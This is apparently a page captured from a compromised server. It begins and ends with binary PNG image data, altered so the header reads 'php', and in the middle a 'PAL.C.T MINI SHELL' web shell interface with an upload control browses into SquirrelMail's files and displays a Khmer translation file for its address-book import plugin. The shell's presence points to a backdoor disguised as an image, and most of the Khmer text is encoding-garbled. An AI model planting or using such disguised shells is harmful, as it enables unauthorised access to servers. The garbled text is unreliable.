‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /proc/self/root/proc/self/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/
upload
files >> //proc/self/root/proc/self/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/abook_import_export.po

# Khmer (km) abook_import_export Translation
# Eng Vannak <evannak@khmeros.info>, 2008.
# Khoem Sokhem <khoemsokhem@khmeros.info>, 2009.
# Copyright (c) 2008-2009 KhmerOS Project
# Copyright (c) 1999-2009 The SquirrelMail Project Team
msgid ""
msgstr ""
"Project-Id-Version: abook_import_export\n"
"Report-Msgid-Bugs-To: <http://sourceforge.net/projects/sm-plugins/>\n"
"POT-Creation-Date: 2007-10-26 17:50+0200\n"
"PO-Revision-Date: 2009-04-24 09:20+0700\n"
"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
"Language-Team: Khmer <en@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"

#: address_book_export.php:90 address_book_import.php:194
msgid "You must use different symbols for text and field delimiters."
msgstr "អ្នក​ážáŸ’រូវ​ážáŸ‚​ប្រើ​និមិážáŸ’ážâ€‹ážŸáž‰áŸ’ញា​ផ្សáŸáž„​ទៀážâ€‹ážŸáž˜áŸ’រាប់​អážáŸ’ážáž”áž‘ និង​សញ្ញា​កំណážáŸ‹â€‹áž–្រំដែន​វាល ។"

#: address_book_export.php:91 address_book_export.php:100
#: address_book_import.php:118 address_book_import.php:394
#, php-format
msgid "Return to main %sAddress Book%s page."
msgstr "ážáŸ’រឡប់​ទៅ​ទំពáŸážš %sសៀវភៅ​អាសយដ្ឋាន%s ចម្បង ។"

#: address_book_export.php:99
msgid "Selected address book is empty."
msgstr "សៀវភៅ​អាសយដ្ឋាន​ទទáŸÂ áŸ”"

#. Detect PHP 4.2.0+ upload error codes (http://www.php.net/features.file-upload.errors)
#: address_book_import.php:86
msgid "Please select a file for uploading."
msgstr "សូម​ជ្រើស​ឯកសារ​សម្រាប់​ផ្ទុក​ឡើង ។"

#: address_book_import.php:90
msgid "The uploaded file exceeds PHP upload_max_filesize limits."
msgstr "ឯកសារ​ដែល​បាន​ផ្ទុក​ឡើង​លើស​ដែន​កំណážáŸ‹ upload_max_filesize PHP ។"

#: address_book_import.php:93
msgid ""
"The uploaded file exceeds the MAX_FILE_SIZE directive that was specified in "
"the HTML."
msgstr "ឯកសារ​ដែល​បាន​ផ្ទុក​ឡើង​លើស MAX_FILE_SIZE ážáž¶áž˜â€‹áž€áž¶ážšâ€‹áž”្រាប់ ដែល​បាន​បញ្ជាក់​ក្នុង HTML ។"

#: address_book_import.php:96
msgid "The uploaded file was only partially uploaded."
msgstr "ឯកសារ​ដែល​ផ្ទុក​ឡើង​ážáŸ’រូវ​បាន​ផ្ទុក​ឡើង​ážáŸ‚​ផ្នែក​ážáŸ’លះ ។"

#: address_book_import.php:99
msgid "No file was uploaded."
msgstr "មិន​បាន​ផ្ទុក​ឡើង​ឯកសារ ។"

#: address_book_import.php:102
msgid "Missing a temporary directory."
msgstr "បាážáŸ‹â€‹ážážâ€‹áž”ណ្ដោះ​អាសន្ន ។"

#: address_book_import.php:105
msgid "Failed to write file to disk."
msgstr "បរាជáŸáž™â€‹áž€áŸ’នុង​ការ​សរសáŸážšâ€‹áž¯áž€ážŸáž¶ážšâ€‹áž‘ៅ​ážáž¶ážŸ ។"

#. File upload stopped by extension. 'security library' is more user friendly.
#: address_book_import.php:109
msgid "File upload stopped by security library."
msgstr "ឯកសារ​ផ្ទុក​ឡើង​ážáŸ’រូវ​បាន​បញ្ឈប់​ដោយ​បណ្ណាលáŸáž™â€‹ážŸáž»ážœážáŸ’ážáž·áž—áž¶áž– ។"

#: address_book_import.php:112
msgid "Unknown upload error."
msgstr "កំហុស​ផ្ទុក​ឡើង​មិន​ស្គាល់ ។"

#: address_book_import.php:121
msgid "Upload error"
msgstr "កំហុស​ផ្ទុក​ឡើង"

#. i18n: %s displays 'somenumber B', 'somenumber KB' or 'somenumber MB'.
#: address_book_import.php:124
#, php-format
msgid ""
"Imported CSV file is too big. Contact your system administrator, if you want "
"to import files, that are bigger than %s."
msgstr ""
"ឯសការ​នាំ​ចូល CSV ធំ​ពáŸáž€ ។ សូម​ទាក់ទង​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក បើ​អ្នក​ចង់​នាំ​ចូល​ឯកសារ ដែល​ធំ​ជាង %s "
"។"

#: address_book_import.php:167
msgid "Error, could not open address file."
msgstr "កំហុស មិន​អាច​បើក​ឯកសារ​អាសយដ្ឋាន ។"

#. Title of column with row numbers
#: address_book_import.php:284
msgid "No#"
msgstr "áž›áŸážâ€‹ážšáŸ€áž„"

#. Title of column with omit checkbox
#: address_book_import.php:286
msgid "Omit"
msgstr "លុប"

#: address_book_import.php:338
msgid "Add to address book: "
msgstr "បន្ážáŸ‚ម​ទៅ​សៀវភៅ​អាសយដ្ឋាន ៖"

#. display import button only after table is loaded
#: address_book_import.php:345
msgid "Finish"
msgstr "បញ្ចប់"

#. *
#. * $csvdata is empty. User tried to import empty file or $error contains fatal
#. * processing error message.
#.
#: address_book_import.php:352
msgid "Nothing to import"
msgstr "គ្មាន​អ្វី​ដើម្បី​នាំចូល"

#: address_book_import.php:353
msgid "Return to Address Book"
msgstr "ážáŸ’រឡប់​ទៅ​សៀវភៅ​អាសយដ្ឋាន"

#: address_book_import.php:358
msgid "The following rows have errors"
msgstr "ជួរ​ដáŸáž€â€‹ážáž¶áž„ក្រោម​មាន​កំហុស"

#. unable to move file to temp directory
#: address_book_import.php:363
msgid "Can't move uploaded file to attachment directory."
msgstr "មិន​អាច​ផ្លាស់ទី​ឯកសារ​ដែល​បាន​ផ្ទុក​ទៅ​ážážâ€‹áž¯áž€ážŸáž¶ážšâ€‹áž•្ទាប់ ។"

#. $csvdata is not available or is not array.
#: address_book_import.php:393
msgid "Unable to access uploaded data. Contact your system administrator."
msgstr "មិន​អាច​ចូល​ដំណើរ​ការ​ឯកសារ​ដែល​ផ្ទូក​ឡើង ។ ទំនាក់ទំនង​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក ។"

#. displays row number that can't be imported. SquirrelMail
#. address book backend error message is displayed after it.
#: address_book_import.php:465
#, php-format
msgid "Row %d:"
msgstr "ជួរ​ដáŸáž€ %d ៖"

#: address_book_import.php:483
msgid ""
"There were errors uploading the data, as listed below. Entries not listed "
"here were uploaded."
msgstr "មាន​កំហុស​ក្នុង​ការ​ផ្ទុក​ទិន្ននáŸáž™â€‹áž¡áž¾áž„ ដូច​បាន​រាយ​បញ្ជី​ážáž¶áž„ក្រោម ។ áž’áž¶ážáž»â€‹ážŠáŸ‚ល​មិន​បាន​រាយ​ទីនáŸáŸ‡â€‹ážáŸ’រូវ​បាន​ផ្ទុក​ឡើង ។"

#: address_book_import.php:487
msgid "Upload Completed!"
msgstr "ការ​ផ្ទុក​ឡើង​បាន​បញ្ចប់!"

#: address_book_import.php:489
msgid "Click on the link below to verify your work."
msgstr "ចុច​លើ​ážáŸ†ážŽâ€‹ážáž¶áž„ក្រោម​ដើម្បី​បញ្ជាក់​ការងារ​របស់​អ្នក ។"

#: address_book_import.php:493
msgid "Addresses"
msgstr "អាសយដ្ឋាន"

#: functions.php:101
msgid "Single quotes (')"
msgstr "សញ្ញា​សម្រង់​ážáŸ‚​មួយ (')"

#: functions.php:102
msgid "Double quotes (\")"
msgstr "សញ្ញា​សម្រង់​ទ្វáŸážš (\")"

#: functions.php:103
msgid "Comma (,)"
msgstr "សញ្ញា​ក្បៀស (,)"

#: functions.php:104
msgid "Semicolon (;)"
msgstr "សញ្ញា​​ចំណុច​ក្បៀស (;)"

#: functions.php:105
msgid "Custom delimiter"
msgstr "សញ្ញា​កំណážáŸ‹â€‹áž–្រំដែន​ផ្ទាល់ážáŸ’លួន"

#: functions.php:112
msgid "Address book import"
msgstr "នាំចូល​សៀវភៅ​អាសយដ្ឋាន"

#: functions.php:125
msgid "Select file:"
msgstr "ជ្រើស​ឯកសារ ៖"

#: functions.php:130
msgid "Max:"
msgstr "អážáž·. ៖"

#: functions.php:134
msgid "Input character set:"
msgstr "សំណុំ​ážáž½â€‹áž¢áž€áŸ’សរ​បញ្ចូល ៖"

#: functions.php:138 functions.php:187
msgid "Field delimiter:"
msgstr "សញ្ញា​កំណážáŸ‹â€‹áž–្រំដែន​វាល ៖"

#: functions.php:142 functions.php:191
msgid "Custom field delimiter:"
msgstr "សញ្ញា​កំណážáŸ‹â€‹áž–្រំដែន​វាល​ផ្ទាល់ážáŸ’លួន ៖"

#: functions.php:148 functions.php:201
msgid "Text delimiter:"
msgstr "សញ្ញា​កំណážáŸ‹â€‹áž–្រំ​ដែន​អážáŸ’ážáž”áž‘ ៖"

#: functions.php:152 functions.php:205
msgid "Custom text delimiter:"
msgstr "សញ្ញា​កំណážáŸ‹â€‹áž–្រំដែន​​អážáŸ’ážáž”ទ​ផ្ទាល់ážáŸ’លួន ៖"

#: functions.php:157
msgid "Import CSV File"
msgstr "នាំចូល​ឯកសារ CSV"

#: functions.php:165 functions.php:529
msgid "ERROR"
msgstr "កំហុស"

#: functions.php:167
msgid "Address book uploads are disabled."
msgstr "ការ​ផ្ទុក​ឡើង​ឯកសារ​អាសយដ្ឋាន​ážáŸ’រូវ​បាន​បិទ ។"

#: functions.php:175
msgid "Address book export"
msgstr "នាំចáŸáž‰â€‹ážŸáŸ€ážœáž—ៅ​អាសយដ្ឋាន"

#: functions.php:212
msgid "Use address book:"
msgstr "ប្រើ​សៀវភៅ​អាសយដ្ឋាន"

#: functions.php:219
msgid "Export to CSV File"
msgstr "នាំចáŸáž‰â€‹áž‘ៅ​ឯកសារ CSV"

#: functions.php:241
#, php-format
msgid "%s MB"
msgstr "%s ម.ប."

#: functions.php:243
#, php-format
msgid "%s KB"
msgstr "%s áž‚.áž”."

#: functions.php:245
#, php-format
msgid "%s B"
msgstr "%s áž”."

#: functions.php:271
msgid "Nickname"
msgstr "សន្មážáž·áž“ាម"

#: functions.php:273
msgid "First Name"
msgstr "នាម​ážáŸ’លួន"

#: functions.php:275
msgid "Last Name"
msgstr "នាម​ážáŸ’រកូល"

#: functions.php:277
msgid "Email"
msgstr "អ៊ីមែល"

#: functions.php:279
msgid "Additional Info"
msgstr "áž–áŸážáŸŒáž˜áž¶áž“​បន្ážáŸ‚ម"

#: functions.php:281
msgid "Do Not Include"
msgstr "កុំ​រួម​បញ្ចូល"

#: functions.php:318
msgid "LDIF import is not supported."
msgstr "មិន​គាំទ្រ​ការ​នាំចូល LDIF ។"

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚